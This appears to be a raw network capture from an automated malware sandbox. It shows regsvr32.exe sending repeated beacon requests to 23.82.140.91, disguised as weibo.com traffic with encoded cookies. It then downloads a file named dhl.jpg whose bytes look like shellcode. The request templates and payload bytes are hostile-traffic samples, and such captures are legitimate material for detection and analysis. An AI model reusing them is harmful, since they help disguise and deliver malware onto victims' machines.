2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

189 192.168.2.6 50040 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:57 UTC 1487 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:57 UTC 1488 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:57 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:57 UTC 1488 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

19 192.168.2.6 49782 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:30 UTC 1061 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:31 UTC 1063 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:31 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:31 UTC 1063 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

190 192.168.2.6 50041 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:11:00 UTC 1490 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:11:00 UTC 1491 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:11:00 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:11:00 UTC 1491 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

191 192.168.2.6 50042 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:11:00 UTC 1491 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:11:00 UTC 1493 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:11:00 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:11:00 UTC 1493 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

192 192.168.2.6 50043 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:11:01 UTC 1495 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:11:02 UTC 1496 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:11:02 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:11:02 UTC 1496 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

193 192.168.2.6 50044 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:11:01 UTC 1496 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:11:02 UTC 1498 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:11:02 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:11:02 UTC 1498 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

194 192.168.2.6 50045 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:11:04 UTC 1500 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:11:04 UTC 1501 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:11:04 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:11:04 UTC 1501 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

195 192.168.2.6 50046 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:11:04 UTC 1501 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:11:04 UTC 1503 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:11:04 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:11:04 UTC 1503 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

2 192.168.2.6 49763 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:09 UTC 38 OUT GET /image-directory/dhl.jpg HTTP/1.1
Host: weibo.com
Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:09 UTC 63 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:09 GMT
Server: nginx
Content-Type: image/jpeg
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 261711
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2022-02-08 23:07:09 UTC 63 IN Data Raw: fc 48 83 e4 f0 eb 33 5d 8b 45 00 48 83 c5 04 8b 4d 00 31 c1 48 83 c5 04 55 8b 55 00 31 c2 89 55 00 31 d0 48 
83 c5 04 83 e9 04 31 d2 39 d1 74 02 eb e7 58 fc 48 83 e4 f0 ff d0 e8 c8 ff ff ff 47 e4 13 09 4f 1a 10 09 d7 74 83 99 47 e4 
13 d4 1d a5 41 81 55 2c a4 c9 d4 c0 84 c9 d4 c0 cc 44 c9 2a 33 bb 36 62 ba 64 7e e3 79 ec 21 e2 79 13 f2 a3 c1 e3 47 
01 97 8b 43 01 97 8b 19 49 1e 72 e6 99 1e 72 e6 99 1e 72 e6 99 1e 82 e6 99 1e 05 0d 51 6c 98 da 42 f9 05 9d 9a 44 7d 
95 d3 a8 42 da 17 81 ae 48 4e 4e 29 63 2a 4f c5 0d c4 ce e3 3b c5 c0 a0 49 6f 48 ff 40 b1 48 43 23 37 d5 fa 22 0f df 55 
5e af 8f 1c 15 fd 79 ba c5 6e d4 0c ef 51 45 32 63 3b 18 41 31 5e 81 2f 06 04 c4 94 c8 fb 3c 42 3c a6 f4 14 cb 0f 9c d9 ad 
90 d8 f4 59 e2 01 b6 1d 19 d9 8d 57 b0 90 24 5d 2f 73 7f 
Data Ascii: H3]EHM1HUU1U1H19tXHGOtGAU,D*36bd~y!yGCIrrrQlBD}BHNN)c*O;IoH@HC#7"U^ynQE2c;A1^/
<B<YW$]/s

2022-02-08 23:07:09 UTC 65 IN Data Raw: b5 ff 8c 90 37 6b 07 d0 18 88 8c 70 32 0e c4 62 bc 46 df 2a b2 cd 97 1b 99 2b 79 d8 5a db 61 9e 59 6d fa 15 
11 d2 1d be 96 9a 9a 59 35 15 d2 6f bb bf e7 1c 78 7c 24 93 36 82 87 76 f1 41 08 38 bd 0a cb fb 7e 88 83 ea f4 c0 8b 6a 
c8 57 76 89 8e 54 c0 6d 0e 1c 47 90 d9 56 ab da 5d 91 ed d9 e0 45 66 97 6c 8e ed 7f 58 c7 6a b2 63 fb 6a f9 a1 70 56 fb 
59 ec 91 44 6a 1c 92 cf 22 83 75 4c a9 cb da ab 22 40 92 1c c5 d3 19 5c c2 30 9b c0 40 ad 07 c0 4f a2 8c 88 48 29 c6 13 
83 a2 8c b8 50 29 c6 0b 8b a2 8c b0 68 20 1b 32 fd a2 8f b9 bd 8d 7c 32 f5 a7 fe 7a 3f 2d b6 60 bd 65 85 eb f5 5c ae 53 
1a 9f 6d 15 19 53 2b 3e da 90 e8 bc 92 1a 2f f2 10 26 6f c9 ac ea 2b d9 6f 29 e8 29 7e ab a0 2a 4a 99 27 62 49 df 36 ae 
0f dd f5 6d cc e8 f7 ad 00 ae 8c 6e c3 6d 06 ce 01 e2 48 
Data Ascii: 7kp2bF*+yZaYmY5ox|$6vA8~jWvTmGV]EflXjcjpVYDj"uL"@\0@OH)P)h 2|2z?-`e\SmS+>/&o+o))~*J'bI6mnmH

2022-02-08 23:07:09 UTC 67 IN Data Raw: b3 b8 43 65 f5 b3 80 a6 36 34 c8 d1 d1 27 0b 12 12 67 33 d3 a4 b4 b1 9b a9 9f 3e 7d 6a 5c 78 7e a6 1a 10 bd 
65 d9 9f f5 1a 3e bc 36 d9 fd 36 7e 55 26 0a a8 e8 8d cd 6b 62 c5 41 b0 28 42 a6 23 14 94 fd 88 d3 57 b5 44 2b 55 00 8e 
61 91 7b 4b a2 52 b8 63 1d d5 f0 ec fa 46 ba a3 1d 5d 79 60 de d6 37 27 39 cd f4 e4 fa 47 bc ea 78 0f ab aa 40 ce 1d 12 
cf 86 5a f5 bc 45 99 36 37 0f 1e d1 bc 84 56 96 5b 87 95 55 98 0c df e2 7f 8f 58 a8 c8 68 a3 e2 67 8f 50 69 2d 08 b7 82 
aa 42 38 65 49 c5 70 2a ae be b3 e9 6d 95 dc 03 ae 56 9a 00 18 8a d2 57 ff 91 11 94 3c 1e 59 98 b3 56 5c 13 fb 5b d3 59 
